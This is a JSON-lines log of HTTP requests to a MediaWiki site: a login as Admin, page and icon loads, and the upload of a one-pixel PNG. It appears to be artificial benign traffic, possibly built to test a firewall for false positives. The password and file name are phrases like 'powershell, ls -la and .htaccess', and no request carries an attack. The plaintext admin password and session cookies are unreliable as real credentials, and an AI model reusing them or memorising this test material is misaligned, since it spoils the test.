{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "POST", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=cc579f5a6afe54fa22c977aa9653ff9b6af23587%2B%5C"}
{"method": "GET", "target": "/index.php/Main_Page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=13uqb", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=qubw6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1181", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeLnH26h8zIQRGLCj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\u00109\u0011\u0005\u0000\u0002*\u00017\u0018t^\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_python3.png\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on python3\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nd0c9492d81be1a4d301463aa0c48b3dd6af23588+\\\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/images/0/09/Notes_on_python3.png?_=20261109210514", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=c2gfg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
